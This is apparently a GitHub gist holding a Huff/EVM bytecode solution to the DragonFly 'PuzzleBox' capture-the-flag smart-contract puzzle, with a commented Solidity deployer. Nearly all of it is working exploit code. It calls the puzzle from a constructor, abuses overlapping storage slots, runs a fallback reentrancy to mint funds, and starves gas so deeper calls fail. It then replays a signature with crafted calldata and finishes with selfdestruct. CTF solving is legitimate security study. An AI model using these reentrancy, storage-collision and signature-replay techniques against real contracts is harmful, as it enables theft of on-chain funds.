Last active
May 14, 2023 11:00
-
-
Save eugenioclrc/c73fdd932b298feeef785b7c7206f0d1 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
SOLUTION | |
contract PuzzleBoxSolution { | |
function solve(PuzzleBox puzzle) external payable { | |
bytes memory code = hex"602060....THE BYTECODE OUTPUT, huffc DragonFlyCTFsolution.huff -b"; | |
address payable addr; | |
assembly { | |
addr := create2(0, add(code, 0x20), mload(code), 0) | |
} | |
addr.call{gas: 1900000}(""); | |
} | |
} | |
*/ | |
// foundry | |
// 0x037eDa3aDB1198021A9b2e88C22B464fD38db3f3 | |
// web | |
// 0x69209d8a7d258515ec9a4d25f7be1db85cb1b826 | |
#define constant PUZZLE_ADDRESS = 0x69209d8a7d258515ec9a4d25f7be1db85cb1b826 | |
#define macro CALL( | |
ret_size, | |
ret_offset, | |
arg_size, | |
arg_offset, | |
value, | |
to, | |
maxgas | |
) = takes (0) returns (1) { | |
<ret_size> // [retSize] | |
<ret_offset> // [retOffset, retSize] | |
<arg_size> // [argSize, retOffset, retSize] | |
<arg_offset> // [argOffset, argSize, retOffset, retSize] | |
<value> // [value, argOffset, argSize, retOffset, retSize] | |
<to> // [to, value, argOffset, argSize, retOffset, retSize] | |
<maxgas> // [gas, to, value, argOffset, argSize, retOffset, retSize] | |
call // [success] | |
} | |
#define macro CONSTRUCTOR() = takes (0) returns (0) { | |
// aca? | |
0x20 // [size] - byte size to copy \n" | |
0x40 codesize sub // [offset, size] - offset in the code to copy from\n " | |
returndatasize // [mem, offset, size] - offset in memory to copy to \n" | |
codecopy // [] \n" | |
// Step 1: Call operate from a constructor. | |
__FUNC_SIG("operate()") 0xE0 shl | |
returndatasize mstore | |
returndatasize | |
[PUZZLE_ADDRESS] | |
CALL(returndatasize, returndatasize, 0x04, returndatasize, returndatasize, dup6, gas) // [success, 0xba5ed] | |
// Step 2: Exploit overlapping storage slots to call lock() because owner <=> operator. | |
0xdeecedd4925facb1 0xc0 shl returndatasize mstore | |
CALL(returndatasize, returndatasize, 0x44, returndatasize, returndatasize, dup7, gas) // [success, 0xba5ed] | |
} | |
#define macro MAIN() = takes (0) returns (0) { | |
0x0190 selfbalance lt stopAll jumpi | |
// Step 3: Start fallback reentrancy exploit to mint 10 drips. | |
__FUNC_SIG("drip()") 0xE0 shl | |
returndatasize mstore | |
[PUZZLE_ADDRESS] | |
CALL(returndatasize, returndatasize, 0x04, returndatasize, 0x65, dup6, gas) // [success, 0xba5ed] | |
0x15eb73 gas gt destructJump jumpi | |
stop | |
destructJump: | |
// puzzle.leak(); | |
swap1 | |
// Step 4: Warm up state to decrease zip() gas cost. | |
__FUNC_SIG("leak()") 0xE0 shl callvalue mstore | |
CALL(callvalue, callvalue, 0x04, callvalue, callvalue, dup6, gas) // [success, 0xba5ed] | |
pop | |
// send 1 wei to warmup | |
0x02 dup2 add | |
CALL(callvalue, callvalue, callvalue, callvalue, dup7, dup6, callvalue) // [success, 0xba5ed] | |
pop | |
// run puzzle.zip(); | |
__FUNC_SIG("zip()") 0xE0 shl | |
callvalue mstore | |
CALL(callvalue, callvalue, 0x04, callvalue, callvalue, dup7, gas) // [success, 0xba5ed] | |
pop | |
// Step 5: Call creep with a low enough gas limit to cause deeper calls to fail. | |
// puzzle.creep{gas: 98e3}(); | |
__FUNC_SIG("creep()") 0xE0 shl | |
callvalue mstore | |
CALL(callvalue, callvalue, 0x04, callvalue, callvalue, dup7, 0x017ed0) // [success, 0xba5ed] | |
// address(puzzle).call(hex"925facb100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000700000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000009"); | |
// torch | |
0x925facb1 0xE0 shl | |
callvalue mstore | |
dup1 0x04 mstore | |
0x20 0x25 mstore | |
0x06 dup1 0x45 mstore 0x65 mstore | |
0x04 0x85 mstore | |
0x02 0xa5 mstore | |
0x07 0xc5 mstore | |
0x08 0xe5 mstore | |
0x09 0x105 mstore | |
CALL(callvalue, callvalue, 0x0125, callvalue, callvalue, dup8, gas) // [success, 0xba5ed] | |
// address(puzzle).call(hex"2b071e47000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000416e59dacfdb5d457304115bbfb9089531d873b70000000000000000000000000000000000000000000000000000000000000003000000000000000000000000c817dd2a5daa8f790677e399170c92aabd044b570000000000000000000000000000000000000000000000000000000000000096000000000000000000000000000000000000000000000000000000000000004b"); | |
0x2b071e47 0xE0 shl returndatasize mstore | |
0x40 0x04 mstore | |
0x80 0x24 mstore | |
dup1 0x44 mstore | |
0x416e59dacfdb5d457304115bbfb9089531d873b7 0x64 mstore | |
0x03 0x84 mstore | |
0xc817dd2a5daa8f790677e399170c92aabd044b57 0xa4 mstore | |
0x96 0xc4 mstore | |
0x4b 0xe4 mstore | |
CALL(callvalue, callvalue, 0x0104, callvalue, callvalue, dup9, gas) | |
// puzzle.leak(); | |
__FUNC_SIG("leak()") 0xE0 shl | |
callvalue mstore | |
// __FUNC_SIG("open(uint256,bytes)") 0xE0 shl | |
0x58657dcf 0xE0 shl | |
callvalue mstore | |
0xc8f549a7e4cb7e1c60d908cc05ceff53ad731e6ea0736edf7ffeea588dfb42d8 | |
dup1 | |
0x04 mstore | |
0x64 mstore | |
0x40 0x24 mstore | |
0x41 0x44 mstore | |
0x9da3468f3d897010503caed5c52689b959fbac09ff6879275a8279feffcc8a62 0x84 mstore | |
0x1b 0xF8 shl 0xa4 mstore | |
CALL(callvalue, callvalue, 0xe0, callvalue, callvalue, dup10, gas) // [success, 0xba5ed] | |
caller selfdestruct | |
stopAll: | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment